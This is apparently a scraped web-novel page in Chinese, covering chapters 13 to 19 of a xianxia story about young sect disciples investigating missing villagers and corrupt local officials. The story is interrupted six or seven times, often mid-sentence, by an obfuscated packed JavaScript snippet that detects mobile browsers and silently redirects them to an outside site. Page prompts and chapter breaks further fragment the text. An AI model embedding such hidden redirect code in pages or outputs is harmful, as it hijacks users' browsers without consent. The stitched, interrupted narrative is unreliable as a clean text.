而当他们又向前走了一段路以后,前方便出现了分岔路,一条是顺着当前的路线向山下走的,一条则是右拐继续上山的。 这条路... 江洵觉得很熟悉,这不就是他遇到迎姗时的那条分岔路么,没记错的话,迎姗当时是从他左边那条路出现的,也就是眼下需要右拐的这条路。 不过其他人倒是对这个分岔路口没什么印象,他们那时候是一条直路走到顶,并未发现还有第二条路可以走。 几人跟着符纸拐向了右边的路,这里显然比刚刚下来的小路要宽敞许多,三四个人并排走都没什么问题,而且道路平坦,这才像是人们经常行走的山道。 从这里向上望,依旧能看到那个山顶和屹立在那里的大槐树,如果他们继续向前不还是回到了原来的地方么。 而就在这时那符纸停了下来贴在了一旁的石壁上。 对于这种无路可走的情况,大概有两种可能,其一是这符纸带错了路,其二便是这石壁后面别有洞天。 第一种自然可以排除,毕竟暮商宗的弟子在没达到能接任务的水平时是断然不会让他们入世的,也就是说宁靖的符纸不会犯这种低级错误。 如果是第二种的话,那就需要想一下如何将这石壁打开了。 回想一下山上的那个石屋的门,和眼前的石壁倒是有些异曲同工之处,也许都是需要用迎姗的血才能打开,江洵将刚刚那块擦刀沾染上血的手帕摁在石壁上,然而石壁并没有什么动静。 莫非是血不够多?他看向陈文谦。 陈文谦自然是明白了他的意思,便将迎姗的尸体从锁妖囊中放出后割破她的指尖,再将其血液涂抹在石壁上,这时眼前的石壁才缓缓的向左边移动。 首先映入眼帘的是一尊和迎姗有几分相像但却十分高大的雕像,雕像前的桌子上还放着三个香炉和一些祭拜的用具,再者便是散落在四处的蒲团。 那符纸在石壁打开以后就径直的向雕像后方飞去,江洵注意了一下香炉里的香灰,那颜色和痕迹倒像是不久前还有人来上香的样子。 符纸贴在了地上后便不再动弹了,宁靖蹲下收回了符纸又用手敲了敲下方的地,听这声音还是个空心的。 当他抬头想要询问陈文谦打开这个东西是否需要用到迎姗的血时,一把匕首从他颈间滑过,咚的一声嵌了进去。 “木质的,砍开就好。”江洵说道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170761|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我看你想砍的不是这个吧....宁靖心里想着。 江洵取回匕首,敲了敲四周的木板,最后停在了靠近雕像半尺处的位置,匕首再次插入随即往上轻轻地一翘,那个木板就被打开了。 从这里往下看能依稀看出这是一个地窖,江洵瞄了一眼众人,谁先下呢? 他反正不愿意第一个下去。 宁靖也不愿意,因为这地窖传出来的味儿属实有点冲!他得先适应一会儿。 陈文谦无奈的笑着说:“哎,还是我先吧,确保安全了你们再下去。” 在他要下去的时候,江洵将自己的匕首递给了他,“下面空间大,若打起来刀剑则不好施展,用匕首还方便些,你拿着防身吧,一会记得还我。” “好。”陈文谦接过匕首,顺着楼梯走了下去。 他下去没多久便喊道:“下来吧,是安全的。” 这几人听到陈文谦的声音后才一个接一个的往下走,这里确实是一个地窖,中间摆放着几块零零散散的石凳子,墙角处还有几口大水缸,地上既没有血迹也没有尸体。 就在他们怀疑这里是否真的被迎姗用来藏人的时候,突然传来了阵阵的咚咚声,一下又一下地咚..咚..咚… 靠近声音最近的方语棠立即跳到一边喊了起来:“缸缸缸!!!缸里有东西!!!!” 要命!她刚下来只是想找个地方歇歇脚而已啊! 众人这才将目光放在那几口水缸上面,这些水缸有些用木板盖着,有些则在木板的上面又压着一块石头,而发出声音的那口缸就是被石头压着的。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第14章 弥生果 反正在那群帮忙的人来之前怎么着都得等,那还不如坐着等,江洵在庙里找了个干净点的蒲团就走到外面靠着石壁坐下了。 另外俩人见他这样也不杵在那里了,纷纷开始找蒲团,出来后还都坐在了江洵的旁边。 别的地方是不能坐吗????江洵很不解为啥要挨着他一起坐呢,这庙也不小啊。 罢了,眼下还有问题要问百宝箱呢。 “冒犯的问一句,阳春门谁的医术最厉害?” 其实从知道江挽视力和听力都有问题的时候,他就在心里记下了,毕竟总不能一直靠吃药来维持,还是要彻底根治才行再不济能稍微恢复一些也是好的。 “自然是我爹的咯,嗯...不过我觉得姐姐也很厉害,可爹爹总说姐姐的用药太过大胆,应该讲究循序渐进,要减少病人的疼痛感,但姐姐依旧将爹爹的话当耳旁风呢。” “这样啊...” 那得想办法认识认识他爹,要是跟他爹混熟了,这往后看病问诊的不就方便多了! “怎么?你生病了?”秦在锦坐起身仔细地将江洵打量了一番,这人看着挺健康的,而且今天砍头的力度可不像是生病的人该有的疲态。 “没,未雨绸缪嘛!万一以后我得了绝症...” “呸吓呸,没有万一!干嘛咒自己!”他立马打断了江洵,制止他不要再讲这种不吉利的话。 “我跟你说不能咒自己有病,不然到最后没病也成真的了你知道吗!这种话不要再让我听到了!!!”看得出这孩子是真急了。 “好好好,以后不说了。” 见他没再提起此事秦在锦才又坐了下去。 江洵稍微往后坐了坐,让身子能倚靠着石壁,当身心渐渐放松下来的时候他突然想到了献岁山,如果是寻常日子里他这会儿可能刚刚吃过晩饭在校场训练呢,哦,也有可能跟着陈叔他们溜下山开小灶呢。 对了!也不知道山下的那个小乞丐有没有好好地将那块饼吃掉。 夕阳的余晖随意的洒向山岗,夏末秋初的风吹拂在少年人的脸上,村子上方红了半边的天像是悲凉的离别又像是热烈的新生。 三个人就这么靠在一起各怀心事地睡着了。 而本来宁静安睡的时刻被后方传来的说话声打破了,秦在锦一脸懵的坐起来寻找声音的来源,回头望才发现是庙里那三个衙役醒了。 陈文谦也逐渐清醒了,他们这是睡了多久了,天上的月亮都高高挂起了,这种情况本来不该睡着的,毕竟中律司的人随时都可能会到,被他们看到他这一副懒散的样子肯定要说他任务不上心了。 “中律司,陈文谦。” 他站起身径直的走向那几个衙役,将腰间的令牌递给他们查看。 那三位衙役拿到手里仔细的核对了一下,铜制的令牌,正面雕刻着盛开的紫藤花,花的中间是一个“律”字,背面是缩小版的肖像画,画的下方镌刻着陈文谦的名字。 在核对了肖像与陈文谦为同一人以后,衙役便将令牌还给了他。 “此番前来是为查清并解决咸石村村民失踪一事,目前所知的幸存者只有你们三人,山妖迎姗虽已处决但关于此次任务的细节还请你们能够同我再复述一遍。” “是...是山神...不是山妖!!!”左边那个衙役默默地说道。 嗯??? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170762|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听到这里的秦在锦歪头疑惑了一下,他寻思着这三人虽然受了点伤,但脑袋没受到伤害啊!难不成是他医术不精??!! “那个雕像是你们说的山神吗?”江洵指向立在那里在微微笑着的雕像。 “对!是她!” “哦?为什么称之为山神呢?” “因为她之前救过这个村子,所以村里人都很信奉她。” 其实最初雕刻这个雕像只是那几户人家为了感谢迎姗的救命之恩,那年正值元宵佳节,咸石村的街道上人来人往十分热闹,尤其是挑着灯笼遍地跑的孩童,这原本是一副祥和的景象,却不料突逢变故。 土地晃动、山石滚落,对于成年人来说快速的跑至安全的避难地较为容易,可对于步伐缓慢的老人和不知危险的孩童来说,显然就没有那么幸运了。 当时从山上滚下来的一块巨大圆石直冲咸石村街道,眼看着就要从几个孩子身上碾过去的时候,那个石头却突然停了下来了。 而被救下来的孩子们纷纷说看到了一位漂亮姐姐仅仅只是用手就挡住了那块大石头,还说姐姐旁边跟着一个笑呵呵的老爷爷呢。 于是乎在这场没有人员伤亡的变故后,村民便决定将山路上用来休息的石洞改建成一座庙,一开始还纠结究竟是雕刻女子像还是老者像呢,但最终还是村长一锤定音决定雕刻女子像。 他认为那天的老者应该是山顶那棵一直眺望着村子的老槐树,而女子是由这座山孕育而生的灵物。 从此每到逢年过节就会有村民来上香祈福,渐渐地迎姗从救命之恩的女孩变成了庇护一方的山神。 本小章还未完,请点击下一页继续阅读后面精彩内容! 第15章 上杳郡 陈文谦对于南宫娴方才说的那些话还是有些不解,犹豫再三后问出了口:“如若稍后县令和官差没有来,您真要把他们都杀掉吗?” 南宫娴看着他的眼睛回道,“你也知道的,我朝向来优待官吏,从来都是好吃好喝的供着,哪怕是这种地方的小小衙役每年也有着极高的俸禄。可这些发下去的俸禄大多都是从百姓和商人的税赋中所出,既然他们吃了这些血汗钱那就该为他们的衣食父母谋福祉。” 她说到此处叹了口气,“但上有政策下有对策,也许朝廷最初的出发点是好的,体恤他们的一片操劳之心,所以想把他们喂饱了以后能好好地为朝廷办事儿,可总有些徒有其表的官吏无视百姓的苦楚。就拿咸石村来说,为何出事那么久才肯派几个衙役进山查探?真的只是村里没有人去上报人口失踪一事吗?还是说那些上位者觉得即使失踪了几个人也无伤大雅呢?” “这倒也是...可最终还是派了人进山。”陈文谦不太想一上来就将人心放置在最黑暗的那一面。 “蠢货!那是因为兜不住了!”南宫娴斥责道,“咸石村虽是个小村子,可说到底还是有几百口人,如今村民突然消失一半这么大的事儿若依旧隐瞒不报,那保不准剩下一半的人要怎么闹,越级上报都有可能!到时候他这官位还能保的住吗!” “他最好是能来商议咸石村的生存大事,也最好能乖乖地说出究竟有没有隐瞒不报人口失踪的事实,但凡他有一点不诚实,我便让他和那些死去的村民一样,剜出他的心脏,拆解他的四肢然后挂在咸石村示众!” 南宫娴说这句话的时候没有一点开玩笑的意思,以她的性子和手段她确实做的出来。 可怕... 江洵目前的想法就是这女人很危险,以后还是不要跟她有什么交集。 陈文谦被骂以后就立马闭嘴了,秦在锦本想上前拍拍他的肩膀安慰安慰他,可他也怕被骂蠢货,虽然在家经常被姐姐骂,但他不想出门了还被姐姐骂。 当这几人走到半山腰的时候,就看到了山脚处隐隐亮起的阵阵蓝光。 “看来他们已经到了。”南宫娴说道。 想学… 江洵边走边看着山脚渐渐消失的光阵。 下山了就是好啊,不仅能锻炼自己还能长见识呢。 “缩地阵是不是比较耗损灵力?”秦在锦之前只是听姐姐提起过,还并未真的见过。 “是的,主要还是取决于阵法的范围及目的地的距离。”陈文谦回。 “怎么?阿念没教你?”南宫娴回头问道。 “没…” “下回来云莲城,姐姐教你!” “那敢情好!” 很好…你好好学,学会了回头教我!江洵这算盘在心里打得啪啪响。 等他们到了山脚,那处空地上除了尸体早已围满了人,有瘫坐在地上哭喊老天爷不公地老年人,也有在一个个翻找自己亲人尸体的妇人,还有站在一旁被捂住了眼睛的孩子。 在见到南宫娴以后,一位抱着孩子的女人直接扑上前质问,“为何你们现在才来?我男人失踪的第三天我就上报衙门了,我日日去日日被赶走,说是等消息等消息可如今等到的是什么??!!你们是怎么办事的??我们一家老小还怎么活啊!!” 她越说越激动,怀中的婴儿察觉到母亲的情绪后也开始哭喊,她身后还站着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170763|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两个不到十岁的女娃娃,其中一个黑衣人想上前将她拽走,但被南宫娴制止了。 她身在其位,除了享受这个位置带给她的权利以外,还应该承担这个位置该担的责任,对于百姓的质问和埋怨她也理应照单全收。 自她成年那天接手一半的家主令时她就知道了今后要走一条什么样的路。 也许这件事不是因她导致的,也许这种局面不是她能掌控的,但她既然来了,就不仅仅只是站在一旁发号施令这么简单,她要去理解去体谅去安抚去解决。 既要解决问题本身,也要解决造成问题的人,还要解决使问题变得严重的人。 她微微弯下身,掏出身上的帕子递给那位女人,温和的对她讲道:“抱歉,我们来晚了。我一不会推卸责任,二不会无所作为,今晚在这里的人会同你们一起处理家里人的后事,等一切安排妥当…” 说到此处她看了眼女人身后的两个娃娃,“姐姐,孩子还小,正是读书识字的年纪,等一切安排妥当你想不想她们入学堂学知识?” 她听到南宫娴提到身后的孩子时就不再那么咄咄逼人了,所谓父母之爱子则为之计深远,咸石村并没有那么好的条件建学堂,更没有那个银钱去请先生,她自然是想她的孩子能受到好的教育,可她们家勉强能吃饱穿暖,上学堂这种事儿又怎么敢想呢。 “我们没有钱...”她局促的拿帕子擦了擦眼泪。 南宫娴听到后温柔的笑道说:“姐姐,我们不收你钱,这都是中律司该做的,无论是琴棋书画还是诗词歌赋,只要孩子愿意我们都会尽量满足。” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第16章 贰取壹 小黑收回手里的刀,拖着奋力反抗的吕落行出去了,没多久就听到了一声惨叫。 “拖远点!!”南宫娴站起来对着门外的小黑喊道。 门外的喊叫声戛然而止,小黑就擦着带血的刀进来了。 “我把他打晕了。” “你们这是草菅人命!!!你们眼里还有没有王法???啊????仅仅只是说了几句话你就割了我儿的舌头!你真是好狠的手段啊!!!” 跪在那里的吕中严,面色狰狞,怒目圆睁,口中不断地发出愤怒的咆哮声。他一边大声怒斥着,一边缓缓起身,从衣袖中迅速掏出一把早已准备好的锋利匕首。只见他手臂一挥,那匕首便如闪电般向南宫娴疾驰而去。 然而,就在南宫娴尚未做出任何反应之前,一旁的秦在锦眼疾手快,身形一闪,迅速出手,准确无误地将吕中严手中的匕首打落在地。随后,秦在锦毫不犹豫地用力一推,将吕中严推向了站在后方的小黑。 小黑完全没有预料到吕中严竟然还有如此胆量,竟敢起身行刺。当他接住吕中严的一瞬间,毫不留情地将其摁倒在地,让他丝毫动弹不得。 坐在那里的整理剑穗的南宫娴丝毫没有要抬头的样子,这样的从容不仅仅是因为知道对方不会轻易近她的身,还因为她知道身边这几个人不会眼睁睁的看着自己被人偷袭。 她拿出帕子捡起地上的匕首,而后将其放在了吕中严的脖颈,双眼含笑的同他讲:“我眼里若没有王法,你儿子掉在地上的就不是舌头了,而是脑袋啊。” 吕中严若是能料到今日有此一劫,前日一定跟着张才那孙子一起跑。 等等……张才?...是了! 咸石村本就是稻全郡的村子,别说人失踪了就算人都死完了又干他何事?他又不是稻全郡的郡主,就算要问责也应该是问张才那孙子的责。 “咸石村本就不是我的管辖之地,发生这样的事情我也痛心,况且上山的那六位衙役都是我郡中之人,南宫小姐若想以此来治我的罪怕是不妥吧。”吕中严在分析好形势以后突然就有了同他们谈判的自信。 “闹了半天,咸石村原来不是你的管辖之地啊?”南宫娴有些惊讶的看着他。 “当然不是!这村子是稻全郡的,但是张才前日带着一家老小出门游玩去了,南宫小姐若是想问细枝末节还是等他回来再问吧,或者我写封书信通知他速回也行。” 在匕首离开脖颈的时候,吕中严松了口气,可这口气还没松完,右侧的肩膀处就猛地传来了一阵刺痛。 “我说吕郡主,既然这儿不是你的管辖之地,那你又为何要向他们索要粮税呢?” 吕中严显然还没有反应过来肩膀被捅了一刀,他当下疼的完全没有精力分析南宫娴是如何得知他索要粮税的事情。 南宫娴见他没有回答,用力转了下匕首,肩膀处的血越流越多,染红了墨绿色的衣袍。 吕中严一边痛苦的喊叫,一边想用左手去捂住伤口,可奈何他一介书生怎么挣脱的了小黑的束缚。 “要么现在就乖乖回话,要么就和门外那废物一样这辈子都别说话了。” 她利索的拔出匕首,然后连同裹着匕首把柄的帕子一起扔了。 她向坐在一旁的老人家和两位女子点头,示意让他们说出这些年来所有受到的不平等对待。 “这几年每 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170764|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次农忙结束后都会有一两批山匪路过村子,抢些吃的用的,一开始我们也报过官,希望能剿灭这群山匪,但张郡主说目前兵力不足,而且也没人伤亡就让我们先忍着,可年年山匪来抢劫,上面的答复永远都是兵力不足。我这个耳朵...” 老人家说到此处便指了指自己右耳,可那里哪还有耳朵,而且从那里伤疤来看是被人一刀切下的。 “就是为了保护我那可怜的孙女被那山匪砍下的。” 坐在他身边的一位女子开口道:“其实若是十几年前就算来了山匪大家伙也不怕,毕竟在交了粮税后还有多余的粮能拿去换钱换物,可后来除了要向稻全郡交粮,还要向上杳郡交粮,我们不是没有质疑过反抗过,可下场是不交粮就被活活打死!” 另一位女子见他们都说了也鼓起勇气道出了自己家的情况,“我男人也不是真的喜欢打猎才上山的,那山上蛇忒多,稍不留神就会被咬,可家里没粮的时候总要去山上找点什么能吃屯着吧,不然这日子还怎么过?啊?怎么过啊?” “文元城每年都协同中律司的弟子一同去各个郡县村落清匪除寇,按理说不应该还有这么多的匪患没有除掉。” 陈文谦在听到他们说有山匪作乱的时候就觉得哪里不对劲了,可中律司的弟子不可能犯这么低级的错误,如果说是某一年有一两个山匪来村子里打家劫舍的还可以说他们是清匪的漏网之鱼,可若每年都有且每年都是同一批人的话那就说不过去了。 “哦?这就有意思了,这山匪流寇总不可能是吕郡主自导自演的吧。”南宫娴倒茶的动作停住了,看向了神情慌张的吕中严。 这章没有结束,请点击下一页继续阅读! 第17章 幽篁阁 “你们献岁山收小孩吗?”秦在锦笑着问江洵。 “不收,献岁山的乞丐一个就够了。” 他才不傻,平白无故的带个孩子回去岂不是在给自己惹麻烦。 而且得亏这孩子不会说话,又得亏江挽不在这,不然他在三阁的地位可就难保咯。 秦在锦不知道江洵的身世,自然也没明白他这句话的意思,难不成献岁山上还有别的乞丐么。 “哎呀,你把他收拾一下就不是乞丐了,而且他就愿意跟你走。” “他愿意跟我走那我也得愿意带他啊,可是我不愿意。” 江洵蹲下身与小乞丐保持同一高度后才开口道:“你若是个聪明的呢,就跟着这位姐姐走,好好的学本领,到时候别说是早上那硬邦邦的烧饼,就是刚出锅的鸡鸭鱼肉你也吃得,听懂了就乖乖地站到姐姐身后去。” 小孩在听完江洵的话以后低下了头,他左手扣着右手一副笨拙的样子,这是他长这么大唯一一次想要为自己争取点什么。 他被别人嘲笑的时候没有哭,被孩子扔石头的时候没有哭,被恶犬咬住腿的时候也没有哭,他知道哭没有用,他的眼泪换不来任何人的心疼。 可他还是觉得难过,他渐渐看不清手指的冻疮和鞋子的破洞。 江洵上前将他带入了怀里,这一刻他仿佛拥住了那个衣衫褴褛的自己,这个拥抱小心翼翼又温暖无比。 他轻声地对他说道:“好好长大,好好吃饭,我们会在以后的某一天里遇见,那天或许阳光灿烂,又或许阴雨绵绵,但可以肯定的是,那天的你一定比今天的你更加勇敢。” 怀中人边抽泣边点头。 待他情绪逐渐稍作稳定后,江洵才放开他,擦掉了他脸颊的泪水,“到时候别忘了还我烧饼,还俩!!听到没!!!” 哭湿了脸的小孩笑嘻嘻地回了声:“嗯!” “欸???不是哑巴么???”南宫娴道。 “我觉得他就是不想说话,大部分哑巴是可以发出声音的,可听刚刚那个孩子说他被狗咬了也不喊叫,那极有可能就是强忍着不吭声,但具体的还是要检查一下才能确定他是否能发声,可他不让我碰啊!!!” 秦在锦说到此处越发觉得委屈,怎么江洵碰得他碰不得?烧饼他也有啊!他还有包子呢!!!不过现在给还来得及吗? “罢了罢了,不是傻的就行,我带回云莲城。” “云莲?不安置在文元吗?”小黑问道。 “我瞧这孩子有点意思,是个能忍的,那就适合待在云莲。” 南宫娴此刻已经想好了这孩子以后的去路。 “行了,这边没你们什么事儿了,都歇着去吧,做了一天任务也够累的。” 到底还是心疼弟弟,南宫娴自己带着人去处理后事,给秦在锦他们先找个地儿睡下,毕竟距离天亮还有几个时辰。 —— “快别睡了,赶路了。” 江洵一脸没睡醒的看着秦在锦,又看了眼窗外,这天不是还没亮么! 江洵没理会他,用手背遮住眼睛继续睡。 “等天亮了再走就麻烦了,我最怕离别时的寒暄了,所以趁娴姐她们刚睡下的时候,咱们赶紧溜。” “哎呀,你快别睡了!等下那小子要是反悔了还想赖着你,我看你也走不掉!” …… 江洵立马坐了起来,好像很有道理! 于是二人在夜色的掩盖下,“鬼鬼祟祟”的走到了村口。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170765|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “完美,我觉得我们以后可以考虑一下行刺的任...” “二位还真是打算不辞而别啊。” 秦在锦话还没说完就被人打断了。 陈文谦还是一身白衣,像是等了很久似的站在村口前的石碑处,身旁还蹲着那个小乞丐。 “嘿嘿,主要是不喜欢道别么。” 秦在锦摸摸头腼腆的笑了下。 “二位接下来打算去哪?” “先去就近的中律司看一下新下发的任务吧,哪里有需要我们就去哪。” “那我建议你们二位可以去隰城,昨日听师兄们说今朝榜的前几位能者也都在隰城,你们若在任务中遇到什么棘手的难事,也方便有人能快速的赶去支援。” 秦在锦点点头看了眼身旁的江洵,想问问他的意见。 他一个人的话还好说,去哪都行。但如今和江洵同行,自然要过问一下江洵的意见,而且他认为江洵并不是那种别人让去哪里他就乖乖去哪里的人,然而... “那便去隰城。”江洵冷淡的回道。 哪里安全就去哪里呗,他如今的目的可是活下去,如果小命都没了那还谈什么以后。 况且有可能会在隰城碰到献岁阁的人呢。 不过话又说回来,今朝榜上有三阁的人么? 应该有吧..他们三阁个个都那么厉害!!! “据我所知,你们一阁的温如玉是在前五的。”秦在锦说道。 一阁的他才不关心。 不过傅霖那小子要高兴坏了吧,他师傅前五呢。 江洵光是想到傅霖那副得意的嘴脸都让人生气! 本小章还未完,请 点击下一页继续阅读后面精彩内容! 第18章 愿安遂 “那三阁主可有什么止风良策?”乔决站在亭外没有进去。 “自然是抓到腥味的源头,彻底根除了。”她笑着回,而后向那只黑犬招了招手。 乔决挑眉示意徐松昊将狗送过去,别平添不必要的麻烦,他眼下可不想因为一条狗就跟三阁撕破脸。 但徐松昊没有理会乔诀的示意,他不明白乔诀为何要偏袒着三阁的人。 “老阁主上个月还说青玄是只灵犬,若好生修炼他日定会成人,还说...” “糟老头子哄小屁孩儿的话你也信。” 咳!! 陈叔生怕江挽再说出什么大逆不道的话,这毕竟不是在三阁,人多眼杂的地界儿要是传了出去什么闲言碎语只会对江挽不利。 乔决有点拿不准江挽今天究竟要如何,但若她只是想一命偿一命的话那今天这事儿就此翻篇了也未尝不可。 若是阁主在,他还能上前周旋一二,再不济还能让阁主来同江挽对峙,可如今阁主不在,顺着她总比逆着她要来的好,再者说这本身也是松昊目中无人所闯下的祸,他大可以借由今日之事杀一杀他那骄纵的性子。 “三阁主只要玄青么?”乔决问道。 “还要一个答案。” “您问。” “为何那鹦鹉要死呢?”。 坐在那的徐松昊从知道大师兄不会帮着他说话的那一刻就已经在心里打怵了。 他也想要一个答案,大师兄不是平日里最看不惯三阁么?怎么今日要顺着那个女人?难不成是因为阁主不在所以大师兄怂了?这不能吧! 大师兄可一直都是他心中的榜样! “阿昊,答话。” 徐松昊抬起头满脸不解的看着乔决,他就是不明白。 可乔决丝毫没有要帮他的意思。 “没有原因。”徐松昊答。 “没有原因?”江挽轻声问道。 “对!我嫌它叽叽喳喳的吵到我了!所以看它不顺眼!它就该死!” “好,很好,原来没有原因也能理直气壮的杀死一条生命。” 江挽居高临下的看着玄青,没过一会儿,玄青便不由自主的向她这里走来。 徐松昊见状立即上前抱住他的玄青,他突然感觉到玄青附近有一股无形的力量在引着他们往前走。 他抬头看了眼坐在那的江挽,这时的江挽也在看着他们,不对,那个眼神不像是在同他们对视,倒像是在看一堆毫无用处的垃圾。 乔决皱了皱眉,他是不服气江挽年纪轻轻的就当了一阁之主,哪怕是在献岁台上输给她以后还是有些不服气,但他自那日以后不会再事事都针对她,即使是平日里见了面也会停下来打声招呼。 幽兰令本是要传给三阁的陈致知这件事是整个献岁山都知道的事实,但不知为何最后却落到了江挽的手中,他以为这女人费尽心思拿了幽兰令以后定会行使一些对她有利的阁主之权,可她却只是当个挂件儿一样的放在身上从未用过。 “三阁主若是要玄青便拿去处置,但还请放过阿昊。”乔决终于走进了亭子,伸手一把将徐松昊拽到自己身后。 “那要不让他做个选择吧。”江挽甩了甩手,随之那股无形的力量消散了。 “您说。” “要么让他看着我折磨死这只狗,要么他来亲手动手,如何?” 江挽歪头看了眼被乔决护在身后的人。 “我都不选!!!你别太猖狂了!等过两天我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170766|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们阁主回来了我要告诉他你今日在幽篁阁的所作所为!” “原来二阁平日里教的都是些恶人先告状这种下三流的东西啊?”郜林说道。 “我看不止呢。”陈叔接话。 “哦对!还有为了一己私欲就可以滥杀无辜的作态呢。” 这俩人一唱一和明里暗里的埋汰着二阁。 “阿昊自幼性子顽劣,讲话也口无遮拦,但二阁从未教导过弟子颠倒是非、善念不分,还请陈前辈莫要对二阁心存偏见。”乔诀解释道。 说徐松昊可以,但说二阁他觉得不行。 “阿昊,你也不小了,如今自己做的事就要自己担责任,前后你选一个吧。” 徐松昊躲在后面擦眼泪,他不知道事情会发展成这个样子,他只是想在新来的师弟们面前炫耀一下他的玄青,好立一下威风,毕竟只是咬死了一只鹦鹉而已啊,献岁山上有那么多只鹦鹉,可他没想到会给青玄招来杀身之祸。 玄青是他刚入阁的时候阁主送他的,念在他当时是阁里是年纪最小的那个,怕他平日里想家便给他寻个玩伴儿。 如果说有错那也是他的错,是他指使玄青去玩撕咬那只鹦鹉的,玄青也只是听他的话罢了。 “玄青没错,错的是我,三阁主若想出气尽管打我就好,还请不要让玄青死。”徐松昊哽咽的向江挽求情。 “这不是谁对谁错的问题,这仅仅只是我觉得它该死而已。当然了,如果你不想它死,那你替他死也一样的,左右你的命也是命。” “玄青就由我们这边动手吧。”乔诀是知道江挽的手段,与其看着玄青被她折磨致死倒不如由他们来给个痛快。 这章没有结 束,请点击下一页继续阅读! 第19章 罗浮镇 “也就今儿吃的好了些,还被你撞见了,呐!见者有份。”秦在锦说罢便将盘子里的鸡腿夹给了她。 “谢谢哥哥!好人一生八胎!” 秦在锦嘴里的鸡肉瞬间如鲠在喉,这都什么乱七八糟的祝福语?? 冬苓见秦在锦没吭声,疑惑地问道:“不对吗?我二哥教我说的,他说这么夸人指定会讨人喜欢呢。” “对的,继续保持。”江洵抬手夹了块鱼肉。 哼哼。 女孩嘚瑟一笑,她就知道二哥不会框她! “还没请问姑娘芳名呢。”秦在锦暂时不想讨论生不生八胎是不是一件好事儿了,随即转移了话题。 “冬苓,冬天的冬,茯苓的苓。”她在回答自己姓名的时候停下了手中的动作,目光炯炯有神的直视着眼前的人,一双眼里满是诚恳。 看来这名字倒是真的,秦在锦在心里想着。 “阳春门秦在锦。”他举起手边的茶水敬了一下冬苓,喝完杯中水便指了指身边的江洵,“这位是献岁阁的江洵。” “献岁阁!!!那你是几阁的呀?”冬苓瞪着水灵灵的大眼睛好奇的看着江洵。 “三阁,江挽门下。” “嗯嗯,三阁还是很不错的!”她点头的样子十分老成,像个装大人的小孩儿。 众所周知的事儿用得着你评价? 江洵边挑鱼刺边嘀咕。 “不好意思啊洵哥哥,我刚刚那句话不是评价,是真的打心眼儿里认为三阁很厉害!”冬苓乖巧的坐在那里啃鸡腿。 嗯???? “我方才话说的那么小声你都听到了???”江洵震惊。 “嘿嘿,我这人也没啥别的能力,也就耳朵好使点。”她吃起饭来没有一点大家闺秀的样子,即使嘴角沾了油也毫不在意,满脸笑容的同江洵解释。 